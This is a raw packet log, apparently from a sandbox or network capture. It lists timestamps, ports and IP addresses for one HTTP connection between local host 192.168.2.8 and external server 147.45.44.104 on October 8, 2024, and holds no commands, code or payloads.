Oct 8, 2024 03:23:05.203830004 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203840017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203855038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203871012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203876019 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203888893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203898907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203910112 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203944921 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.203972101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203983068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.203999996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204009056 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204018116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.204029083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204062939 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.204894066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204902887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204921007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204950094 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.204973936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.204981089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.204984903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205029011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205040932 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205041885 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205059052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205068111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205080032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205111980 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205495119 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205501080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205507994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205527067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205535889 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205564976 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205626011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205641031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205657959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205666065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.205682039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.205708027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.206228018 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206239939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206258059 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206269026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206278086 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.206291914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206294060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206307888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.206319094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.206331015 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207168102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207175970 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207195044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207218885 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207250118 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207277060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207289934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207309008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207329035 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207329988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207345963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207360029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207370996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207381964 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207402945 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207405090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207412958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207422972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207431078 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207469940 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207473993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.207494020 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.207520962 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208307981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208337069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208347082 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208379030 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208398104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208408117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208425045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208435059 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208445072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208470106 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208558083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208568096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208583117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208594084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208605051 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208630085 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208657026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208667994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208683968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208699942 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208709002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208715916 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.208720922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208739042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.208775043 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.209042072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209090948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209099054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209116936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209127903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.209146023 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.209199905 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209209919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209228039 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209237099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.209239006 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.209259033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210118055 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210155964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210161924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210170031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210233927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210243940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210261106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210270882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210273027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210292101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210303068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210309029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210323095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210334063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210347891 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210370064 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210375071 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210386038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210412979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210421085 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.210428953 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.210793018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.211054087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211066008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211082935 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211102962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211111069 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.211114883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211134911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211143970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.211144924 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.211179972 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.214471102 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.264123917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264138937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264157057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264167070 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264185905 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264194965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264202118 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.264215946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264225960 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.264245033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.264261007 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.286740065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286819935 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286834002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286884069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286892891 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.286895037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286912918 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286921978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.286967039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.286967039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.290281057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290291071 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290307999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290328026 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.290359974 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.290365934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290375948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290390968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290411949 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.290430069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.290466070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291310072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291328907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291337967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291368961 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291372061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291389942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291407108 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291527987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291538954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291553974 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291563988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291568995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291574001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291579962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291606903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291635036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291645050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291661024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291667938 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291671991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291688919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.291695118 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.291724920 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292226076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292350054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292359114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292376041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292383909 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292396069 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292399883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292418957 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292431116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292447090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292458057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292474031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292484045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292493105 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292514086 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292537928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292547941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292563915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292572975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292586088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.292591095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.292608976 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.293207884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293242931 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293252945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293278933 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.293294907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293306112 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293308020 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.293334961 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.293359995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293370008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293385029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.293397903 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.294162035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294169903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294186115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294203043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294203997 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.294212103 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294224977 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.294230938 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294251919 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.294258118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294274092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.294296026 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.295778036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295814037 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.295818090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295830965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295881987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295892000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295902967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295913935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.295919895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.295931101 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.295958042 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.297331095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297343969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297358990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297379017 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.297385931 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297422886 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.297425985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297476053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297492027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.297529936 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.298357964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298367977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298381090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298389912 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.298418999 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.298424006 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298433065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298446894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298455954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298464060 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.298472881 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.298482895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.299072027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.300497055 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300508022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300523043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300539970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.300568104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300575972 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.300580025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300595045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300612926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300622940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.300636053 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.300661087 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.301887989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.301929951 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.301966906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.301975012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.301996946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302005053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302006960 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302023888 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302032948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302045107 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302050114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302073002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302814007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302825928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302841902 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302851915 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302871943 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302875996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302890062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302930117 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.302957058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302968025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.302983999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.303002119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.305500984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305538893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305546045 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.305613041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305619955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305629969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305648088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305656910 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.305660963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.305686951 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.305699110 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.305710077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.350972891 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.350991011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351011992 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351021051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351026058 CEST	49706	80	192.168.2.8	147.45.44.104
